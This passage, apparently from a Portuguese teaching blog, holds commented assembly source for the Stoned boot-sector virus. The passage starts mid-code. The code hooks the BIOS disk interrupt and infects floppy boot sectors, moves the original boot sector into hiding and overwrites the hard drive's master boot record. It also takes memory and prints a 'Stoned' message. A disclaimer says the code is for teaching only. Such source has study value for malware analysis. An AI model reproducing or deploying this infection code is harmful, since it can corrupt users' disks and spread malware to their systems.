NEW_13: PUSH    DS
        PUSH    AX
        CMP     AH,2
        JB      REAL13                  ;Restore regs & do real INT 13H

        CMP     AH,4
        JNB     REAL13                  ;Restore regs & do real INT 13H

;*****************************************************************
;    We only get here for service 2 or 3 - Disk read or write
;*****************************************************************

        OR      DL,DL
        JNZ     REAL13                  ;Restore regs & do real INT 13H

;*****************************************************************
;     And we only get here if it's happening to drive A:
;*****************************************************************

        XOR     AX,AX
        MOV     DS,AX
        MOV     AL,DS:43FH
        TEST    AL,1                    ;Check to see if drive motor is on
        JNZ     REAL13                  ;Restore regs & do real INT 13H

;******************************************************************
;           We only get here if the drive motor is on.
;******************************************************************

        CALL    INFECT                  ;Try to infect the disk

;******************************************************************
;                Restore regs & do real INT 13H
;******************************************************************

REAL13: POP     AX
        POP     DS
        JMP     DWORD PTR       CS:OLD_13

 

;**************************************************************
;***          See if we can infect the disk                 ***
;**************************************************************

INFECT  PROC    NEAR

        PUSH    BX
        PUSH    CX
        PUSH    DX
        PUSH    ES
        PUSH    SI
        PUSH    DI
        MOV     SI,4            ;We'll try up to 4 times to read it

;***************************************************************
;            Loop to try reading disk sector
;***************************************************************

RDLOOP: MOV     AX,201H         ;Read one sector...
        PUSH    CS
        POP     ES
        MOV     BX,200H         ;...into a space at the end of the code
        XOR     CX,CX
        MOV     DX,CX           ;Side 0, drive A
        INC     CX              ;Track 0, sector 1
        PUSHF
        CALL    DWORD PTR CS:OLD_13     ;Do the old INT 13

        JNB     RD_OK           ;Disk read was OK

        XOR     AX,AX
        PUSHF
        CALL    DWORD PTR CS:OLD_13     ;Reset disk

        DEC     SI              ;Bump the counter
        JNZ     RDLOOP          ;Loop to try reading disk sector
        JMP     SHORT   QUIT    ;Close up and return if all 4 tries failed

        NOP

;******************************************************************************
; Here if disk read was OK. We got the boot sector. But is it already infected?
;  Find out by comparing the first 4 bytes of the boot sector to the first 4
;  bytes of this code. If they don't match exactly, infect the diskette.
;******************************************************************************

RD_OK:  XOR     SI,SI
        MOV     DI,200H
        CLD
        PUSH    CS
        POP     DS
        LODSW
        CMP     AX,[DI]
        JNZ     HIDEIT                  ;Hide floppy boot sector in directory

        LODSW
        CMP     AX,[DI+2]
        JZ      QUIT                    ;Close up and return

;************************************************************
;       Infect - Hide floppy boot sector in directory
;************************************************************

HIDEIT: MOV     AX,301H         ;Write 1 sector
        MOV     BX,200H         ;From the space at the end of this code
        MOV     CL,3            ;To sector 3
        MOV     DH,1            ;Side 1
        PUSHF
        CALL    DWORD PTR CS:OLD_13     ;Do the old INT 14
        JB      QUIT            ;Close up and return if failed

;******************************************************************
; If write was sucessful, write this code to the boot sector area
;******************************************************************

        MOV     AX,301H         ;Write 1 sector ...
        XOR     BX,BX           ;...of this very code...
        MOV     CL,1            ;...to sector 1...
        XOR     DX,DX           ;...of Side 0, drive A
        PUSHF
        CALL    DWORD PTR CS:OLD_13     ;Do an old INT 13

;  ***NOTE*** no test has been done for a sucessful write.

;***************************************************************
;                    Close up and return
;***************************************************************

QUIT:   POP     DI
        POP     SI
        POP     ES
        POP     DX
        POP     CX
        POP     BX
        RET

INFECT  ENDP

 

 

;****************************************************************
;***             Jump here at boot up time
;****************************************************************

 


;*****************************************************************************
; Redefine the variable offsets. The code here executes in the memory area
;  used by the normal boot sector. The variable offsets have an assembled
;  value of the order 7Cxx. Access them here through the DS: segment override
;*****************************************************************************


D_TYPE  =       07C00h + OFFSET _D_TYPE
O_13_O  =       07C00h + OFFSET _O_13_O
O_13_S  =       07C00h + OFFSET _O_13_S
J_AD_O  =       07C00h + OFFSET _J_AD_O
J_AD_S  =       07C00h + OFFSET _J_AD_S
BT_ADD  =       07C00h + OFFSET _BT_ADD

 

JPBOOT: XOR     AX,AX
        MOV     DS,AX           ;DS = 0

;*********************************************************
;                Set up a usable stack
;*********************************************************

        CLI
        MOV     SS,AX           ;SS = 0
        MOV     SP,OFFSET 7C00H ;Position stack at 0000:7C00
        STI

;*********************************************************
;        Capture the INT 13 vector (BIOS disk I/O)
;*********************************************************

        MOV     AX,DS:4CH       ;Offset for old INT 13 vector
        MOV     DS:O_13_O,AX    ;Save the offset
        MOV     AX,DS:4EH       ;Segment for old INT 13 vector
        MOV     DS:O_13_S,AX    ;Save the segment

;*****************************************************************************
; Decrease the memory available to DOS by 2K. Only 1K really seems needed, but
;  stealing an odd number of K would result in an odd number shown available
;  when a CHKDSK is run. This might be too obvious. Or the programmer may have
;  had other plans for the memory.
;*****************************************************************************

        MOV     AX,DS:413H      ;BIOS' internal count of available memory
        DEC     AX
        DEC     AX              ;Drop it by 2K ...
        MOV     DS:413H,AX      ;...and store it (steal it!!)

;*********************************************************
;        Find the segment of the stolen memory
;*********************************************************

        MOV     CL,6
        SHL     AX,CL
        MOV     ES,AX

;*********************************************************
;        Use the segment of the stolen memory area
;*********************************************************

        MOV     DS:J_AD_S,AX    ;Becomes part of a JMP address
        MOV     AX,OFFSET NEW_13
        MOV     DS:4CH,AX       ;Offset for new INT 13
        MOV     DS:4EH,ES       ;Segment for new INT 13

;****************************************************************
;Copy the code from 07C0:0000 to ES:0000 (the stolen memory area)
;****************************************************************

        MOV     CX,OFFSET END_BYT ;The size of the code (# of bytes to move)
        PUSH    CS
        POP     DS              ;DS = CS
        XOR     SI,SI
        MOV     DI,SI           ;All offsets of block move areas are 0
        CLD
        REPZ    MOVSB           ;Copy each byte of code to the top of memory
        JMP     DWORD PTR       CS:JMP_ADR ;JMP to the transferred code...

 

;**************************************************************
;    ...and we'll jump right here, to the transferred code
;**************************************************************

 

;****************************************************************************
; Redefine variable offsets again. This code executes at the top of memory,
;  and so the exact value of the segment registers depends on how much memory
;  is installed. The variable offsets have an assembled value of the order of
;  00xx. They are accessed using the CS: segment override
;****************************************************************************

D_TYPE  =       OFFSET _D_TYPE
O_13_O  =       OFFSET _O_13_O
O_13_S  =       OFFSET _O_13_S
J_AD_O  =       OFFSET _J_AD_O
J_AD_S  =       OFFSET _J_AD_S
BT_ADD  =       OFFSET _BT_ADD


HI_JMP: MOV     AX,0
        INT     13H             ;Reset disk system

;**********************************************************************
;  This will read one sector into 0000:7C00 (the boot sector address)
;**********************************************************************

        XOR     AX,AX
        MOV     ES,AX
        MOV     AX,201H                 ;Read one sector
        MOV     BX,OFFSET 7C00H         ;To boot sector area: 0000:7C00
        CMP     BYTE PTR CS:D_TYPE,0    ;Booting from diskette or hard drive?

        JZ      DISKET                  ;If booting from a diskette

;******************************************************
;            Booting from a hard drive
;******************************************************

        MOV     CX,7            ;Track 0, sector 7
        MOV     DX,80H          ;Hard drive, side 0
        INT     13H             ;Go get it

;  ***NOTE** There was no check as to wether or not the read was sucessful

        JMP     SHORT   BOOTUP  ;Go run the real boot sector we've installed

        NOP

;******************************************************
;            Booting from a diskette
;******************************************************

DISKET: MOV     CX,3            ;Track 0, sector 3
        MOV     DX,100H         ;A drive, side 1 (last sector of the directory)
        INT     13H             ;Go get it
        JB      BOOTUP          ;If read error, run it anyway.(???) (A prank?)

;****************************************************************
;Wether or not we print the "Stoned" message depends on the value
; of a byte in the internal clock time -- a fairly random event.
;****************************************************************

        TEST    BYTE PTR ES:46CH,7      ;Test a bit in the clock time
        JNZ     GETHDB                  ;Get Hard drive boot sector

;**************************************************************
;                      Print the message
;**************************************************************

        MOV     SI,OFFSET S_MSG ;Address of the "stoned message"
        PUSH    CS
        POP     DS

;**************************************************************
;               Loop to print individual characters
;**************************************************************

PRINT1: LODSB
        OR      AL,AL           ;A 00 byte means quit the loop
        JZ      GETHDB          ;Get Hard drive boot sector, then

;**************************************************************
;         Not done looping. Print another character
;**************************************************************

        MOV     AH,0EH
        MOV     BH,0
        INT     10H
        JMP     SHORT   PRINT1  ;Print a character on screen


;**************************************************************
;               Get Hard drive boot sector
;**************************************************************

GETHDB: PUSH    CS
        POP     ES
        MOV     AX,201H         ;Read one sector...
        MOV     BX,200H         ;...to the buffer following this code...
        MOV     CL,1            ;...from sector 1...
        MOV     DX,80H          ;...side 0, of the hard drive
        INT     13H
        JB      BOOTUP          ;If error, assume no hard drive
                                ; So go run the floppy boot sector

;***************************************************************************
; If no read error, then there really must be a hard drive. Infect it. The
;  following code uses the same trick above where the first 4 bytes of the
;  boot sector are compared to the first 4 bytes of this code. If they don't
;  match exactly, then this hard drive isn't infected.
;***************************************************************************

        PUSH    CS
        POP     DS
        MOV     SI,200H
        MOV     DI,0
        LODSW
        CMP     AX,[DI]
        JNZ     HIDEHD                  ;Hide real boot sector in hard drive

        LODSW
        CMP     AX,[DI+2]
        JNZ     HIDEHD                  ;Hide real boot sector in hard drive

;**************************************************************
;                Go run the real boot sector
;**************************************************************

BOOTUP: MOV     BYTE PTR CS:D_TYPE,0
        JMP     DWORD PTR       CS:BT_ADD

;**************************************************************
;         Infect - Hide real boot sector in hard drive
;**************************************************************

HIDEHD: MOV     BYTE PTR CS:D_TYPE,2    ;Mark this as a hard drive infection
        MOV     AX,301H                 ;Write i sector...
        MOV     BX,200H         ;...from the buffer following this code...
        MOV     CX,7            ;...to track 0, sector 7...
        MOV     DX,80H          ;...side 0, of the hard drive...
        INT     13H             ;Do it
        JB      BOOTUP          ;Go run the real boot sector if failed

;**************************************************
; Here if the boot sector got written successfully
;***************************************************

        PUSH    CS
        POP     DS
        PUSH    CS
        POP     ES
        MOV     SI,3BEH         ;Offset of disk partition table in the buffer
        MOV     DI,1BEH         ;Copy it to the same offset in this code
        MOV     CX,242H         ;Strange. Only need to move 42H bytes. This
                                ; won't hurt, and will overwrite the copy of
                                ; the boot sector, maybe giving a bit more
                                ; concealment.
        REPZ    MOVSB           ;Move them
        MOV     AX,301H         ;Write 1 sector...
        XOR     BX,BX           ;...of this code...
        INC     CL              ;...into sector 1
        INT     13H

; ***NOTE*** no check for a sucessful write

        JMP     BOOTUP          ;Now run the real boot sector

S_MSG   DB      7,'Your PC is now Stoned!',7,CR,LF
        DB      LF

;*************************************************************************
; Just garbage. In one version, this contained an extension of the above
;  string, saying "LEGALIZE MARIJUANA". Some portions of this text remain
;*************************************************************************

        DB      0,4CH,45H,47H,41H
        DB      4CH,49H,53H,45H,67H
        DB      2,4,68H,2,68H
        DB      2,0BH,5,67H,2

END_BYT EQU     $               ;Used to determine the size of the code. It
                                ; must be less than 1BE, or this code is too
                                ; large to be used to infect hard disks. From
                                ; offset 1BE and above, the hard disk partition
                                ; table will be copied, and anything placed
                                ; there will get clobbered.

        CODE    ENDS

END

LinkWithin

Related Posts Plugin for WordPress, Blogger...

NOSSO OBJETIVO

OBJETIVO

Este blog será usado para divulgação de minhas ideias, notícias sobre tecnologia, disponibilização de links para download de materiais diversos (incluindo materiais didáticos -- que poderão ser usados em minhas aulas e/ou cursos). Gostaria de DEIXAR BEM CLARO que quaisquer materiais disponibilizados através deste blog são, tão somente, para acompanhamento de aulas e/ou cursos, e não constituem de modo algum, aulas na modalidade "ensino à distância" (EAD). Alunos têm total acesso aos materiais disponíveis, mas somente como tutoriais passo a passo. Apostilas disponibilizadas através deste blog não são materiais obrigatórios em disciplinas cursadas ou cursos ministrados.

RESPONSABILIDADE

O autor deste blog não é responsável pelo mau uso, intencional ou não, de qualquer código de programa disponibilizado aqui. Os códigos de programas disponíveis neste blog para download é e serão sempre, e tão somente, para uso didático durante o aprendizado. Seja bem-vindo.